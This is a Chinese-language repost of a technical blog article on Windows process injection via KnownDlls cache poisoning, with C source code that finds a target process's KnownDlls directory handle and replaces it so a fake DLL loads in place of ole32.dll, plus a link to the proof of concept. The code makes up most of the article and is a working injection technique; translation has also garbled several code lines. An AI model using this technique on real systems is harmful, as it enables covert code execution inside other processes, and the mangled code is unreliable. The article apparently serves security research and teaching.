Windows 进程注入:KnownDlls 缓存中毒


Windows 进程注入:KnownDlls 缓存中毒

介绍

这是对James Forshaw在通过 KnownDlls 绕过 CIG中描述的一种注入方法的快速回应。在 Windows 上毒害 KnownDlls 缓存的第一个示例可以追溯到1999 年 2 月发布的安全公告CVE-1999-0376或MS99-066 。该漏洞是由黑客组织 L0pht 的Christien Rioux发现的。他发布的演示攻击的 PoC 成为其他涉及 DLL 注入和函数挂钩的项目的基础。例如, 2012 年发布的使用 KnownDlls 注入进程在很大程度上基于 dildog 的原始源代码。James 描述的注入方法的有趣之处在于它不会读取或写入虚拟内存,而这几乎是每种已知的进程注入方法所必需的。它的工作原理是替换目标进程中的目录句柄,然后 DLL 加载程序使用该目录句柄加载恶意 DLL。非常聪明!🙂 与此主题相关的其他帖子也值得一读:

  • 已知的 DLL 到底是什么?

  • 使用 COM 将代码注入 Windows 受保护的进程 – 第 1 部分

  • 使用 COM 将代码注入 Windows 受保护的进程 – 第 2 部分

  • 未知的已知 DLL…以及其他违反代码完整性信任的行为

  • 热修补程序

如果您想仔细了解 Windows 对象管理器, Microsoft 的WinObj和NtObjectManager都很有用。

Windows 进程注入:KnownDlls 缓存中毒

图 1. WinObj 中的 KnownDlls

获取 KnownDlls 目录对象句柄

正如詹姆斯指出的那样,至少有两种方法可以做到这一点。

方法 1

该句柄存储在名为 的全局变量中ntdll!LdrpKnownDllDirectoryHandle(如图 2 所示),可以通过搜索 NTDLL 段找到.data。找到地址后,可以读取现有句柄或用新句柄覆盖它。

Windows 进程注入:KnownDlls 缓存中毒

图 2. ntdll!LdrpKnownDllDirectoryHandle

以下代码实现了该方法。基地址对于每个进程都是恒定的,因此不需要从远程进程读取。

LPVOID GetKnownDllHandle ( DWORD pid )  { 
    LPVOID m , va = NULL ;
    PIMAGE_DOS_HEADER dos ;
    PIMAGE_NT_HEADERS nt ;
    PIMAGE_SECTION_HEADER sh ;
    DWORD i , cnt ;
    PULONG_PTR ds ;
    BYTE buf [ 1024 ] ;
    POBJECT_NAME_INFORMATION n = ( POBJECT_NAME_INFORMATION ) buf ;

    // 获取 NTDLL 的基数和指向节头的指针
    m = GetModuleHandle ( L" ntdll.dll " ) ;
    dos = ( PIMAGE_DOS_HEADER ) m ;
    nt = RVA2VA ( PIMAGE_NT_HEADERS , m , dos - > e_lfanew ) ;
    sh = ( PIMAGE_SECTION_HEADER ) ( ( LPBYTE ) & nt - > OptionalHeader +
          nt - > FileHeader . SizeOfOptionalHeader ) ;
          
    // 定位 .data 段,保存 VA 和指针数量
    for ( i = 0 ; i < nt - > FileHeader . NumberOfSections ; i + + ) {
      if ( * ( PDWORD ) sh [ i ] . Name == * ( PDWORD ) " .data " ) {
        ds = RVA2VA ( PULONG_PTR , m , sh [ i ] . VirtualAddress ) ;
        cnt = sh [ i ] . Misc . VirtualSize / sizeof ( ULONG_PTR ) ; break ; } } //对于每个指针for ( i = 0 ; i < cnt ; i + + ) { if ( ( LPVOID ) ds [ i ] == NULL ) continue ; // 查询对象名称
      NtQueryObject ( ( LPVOID ) ds [ i ] ,
        ObjectNameInformation , n , MAX_PATH , NULL ) ;               
            
      // 返回字符串?
      if ( n - > Name . Length ! = 0 ) {
        // 它与我们的匹配吗?
        if ( ! lstrcmp ( n - > Name . Buffer , L" \ KnownDlls " ) ) {
          // 返回虚拟地址
          va = & ds [ i ] ;
          break ;
        }
      }
    }
    return va ;
}

方法 2

SystemHandleInformation传递给的类将NtQuerySystemInformation返回系统上打开的所有句柄的列表。为了定位特定进程,我们将UniqueProcessId每个SYSTEM_HANDLE_TABLE_ENTRY_INFO结构的与目标 PID 进行比较。HandleValue复制并查询名称。然后将此名称与“KnownDlls”进行比较,如果找到匹配项,HandleValue则返回给调用者。

HANDLE GetKnownDllHandle2 ( DWORD pid , HANDLE hp )  { 
    ULONG len ;
    NTSTATUS nts ;
    LPVOID list = NULL ;
    DWORD i ;
    HANDLE obj , h = NULL ;
    PSYSTEM_HANDLE_INFORMATION hl ;
    BYTE buf [ 1024 ] ;
    POBJECT_NAME_INFORMATION name = ( POBJECT_NAME_INFORMATION ) buf ;
    
    // 读取系统句柄的完整列表
    for ( len = 8192 ; ; len + = 8192 ) {
      list = malloc ( len ) ;
      
      nts = NtQuerySystemInformation (
          SystemHandleInformation ,列表, len , NULL ) ;
      
      // 如果成功则退出循环
      if ( NT_SUCCESS ( nts ) ) break ;
      
      // 释放列表并继续
      释放(列表);
    }
    
    hl = ( PSYSTEM_HANDLE_INFORMATION )列表;

    
    //对于每个句柄for ( i = 0 ; i < hl - > NumberOfHandles & & h = = NULL ; i + + ) { // 跳过
      这些以避免挂起进程
      if ( ( hl - > Handles [ i ] . GrantedAccess = = 0x0012019f ) || ( hl - > Handles [ i ] . GrantedAccess = = 0x001a019f ) || ( hl - > Handles [ i ] . GrantedAccess = = 0x00120189 ) || ( hl - > Handles [
          i ] . GrantedAccess = = 0x00100000 ) ) { continue ; }
            
           
        
      

      // 如果此句柄不在我们的目标进程中,则跳过
      if ( hl - > Handles [ i ] . UniqueProcessId ! = pid ) {
        continue ;
      }
      
      // 复制句柄对象
      nts = NtDuplicateObject (
            hp , ( HANDLE ) hl - > Handles [ i ] .HandleValue ,
             GetCurrentProcess ( ) , & obj , 0 , FALSE , DUPLICATE_SAME_ACCESS
            ) ;
        
      if ( NT_SUCCESS ( nts ) ) {
        // 查询名称
        NtQueryObject (
          obj , ObjectNameInformation ,
          name , MAX_PATH , NULL ) ;
          
        // 如果返回名称..
        if ( name - > Name . Length ! = 0 ) {
          // 它是 knowndlls 目录吗?
          if ( ! lstrcmp ( name - > Name . Buffer , L" \ KnownDlls " ) ) {
            h = ( HANDLE ) hl - > Handles [ i ] . HandleValue ;
          }
        }
        NtClose ( obj ) ;
      }
    }
    free ( list ) ;
    return h ;
}

注射

以下代码完全基于文章中描述的步骤,在当前状态下会导致目标进程停止正常工作。这就是为什么 PoC 在尝试注入之前会创建一个进程(记事本),而不是允许选择进程。

VOID knowndll_inject ( DWORD pid , PWCHAR fake_dll , PWCHAR target_dll ) { 
    NTSTATUS nts ;
    DWORD i ;
    HANDLE hp , hs , hf , dir , target_handle ;
    OBJECT_ATTRIBUTES fa , da , sa ;
    UNICODE_STRING fn , dn , sn , ntpath ;
    IO_STATUS_BLOCK iosb ;

    // 打开进程以复制句柄,暂停/恢复进程
    hp = OpenProcess ( PROCESS_DUP_HANDLE | PROCESS_SUSPEND_RESUME , FALSE , pid ) ;
    
    // 1. 从远程进程获取 KnownDlls 目录对象句柄
    target_handle = GetKnownDllHandle2 ( pid , hp ) ;

    // 2. 创建空对象目录,插入要劫持的 DLL 的命名部分
    // 使用 DLL 的文件句柄注入
    InitializeObjectAttributes ( & da , NULL , 0 , NULL , NULL ) ;
    nts = NtCreateDirectoryObject ( & dir , DIRECTORY_ALL_ACCESS , & da ) ;
    
    // 2.1 打开假 DLL
    RtlDosPathNameToNtPathName_U ( fake_dll , & fn , NULL , NULL ) ;
    InitializeObjectAttributes ( & fa , & fn , OBJ_CASE_INSENSITIVE , NULL , NULL ) ;
      
    nts = NtOpenFile (
      & hf , FILE_GENERIC_READ | FILE_GENERIC_WRITE | FILE_GENERIC_EXECUTE ,
      & fa , & iosb , FILE_SHARE_READ | FILE_SHARE_WRITE , 0 ) ;
    
    // 2.2 使用伪 DLL 映像创建目标 DLL 的命名部分
    RtlInitUnicodeString ( & sn , target_dll ) ;
    InitializeObjectAttributes ( & sa , & sn , OBJ_CASE_INSENSITIVE , dir , NULL ) ;
        
    nts = NtCreateSection (
      & hs , SECTION_ALL_ACCESS , & sa ,
      NULL , PAGE_EXECUTE , SEC_IMAGE , hf ) ;
            
    // 3. 关闭远程进程中的已知 DLL 句柄
    NtSuspendProcess ( hp ) ;
    
    DuplicateHandle ( hp , target_handle ,
      GetCurrentProcess ( ) , NULL , 0 , TRUE , DUPLICATE_CLOSE_SOURCE ) ;
                    
    // 4. 远程进程的重复对象目录
    DuplicateHandle (
        GetCurrentProcess ( ) , dir , hp ,
        NULL , 0 , TRUE , DUPLICATE_SAME_ACCESS ) ;
        
    NtResumeProcess ( hp ) ;
    CloseHandle ( hp ) ;
    
    printf ( "选择文件->打开以将" %ws "加载到记事本中。n " , fake_dll ) ;
    printf ( "按任意键继续... n " ) ;
    getchar ( ) ;
}

演示

图3显示了被劫持的DLL(ole32.dll)加载后显示的消息框。

Windows 进程注入:KnownDlls 缓存中毒

图3.记事本中的注入。

PoC 在这里:

https://github.com/odzhan/injection/tree/master/knowndlls

参考在这里

https://modexp.wordpress.com/2019/08/12/windows-process-injection-knowndlls/


感谢您抽出

Windows 进程注入:KnownDlls 缓存中毒

.

Windows 进程注入:KnownDlls 缓存中毒

.

Windows 进程注入:KnownDlls 缓存中毒

来阅读本文

Windows 进程注入:KnownDlls 缓存中毒

点它,分享点赞在看都在这里

原文始发于微信公众号(Ots安全):Windows 进程注入:KnownDlls 缓存中毒

版权声明:admin 发表于 2024年10月22日 上午11:31。
转载请注明:Windows 进程注入:KnownDlls 缓存中毒 | CTF导航

相关文章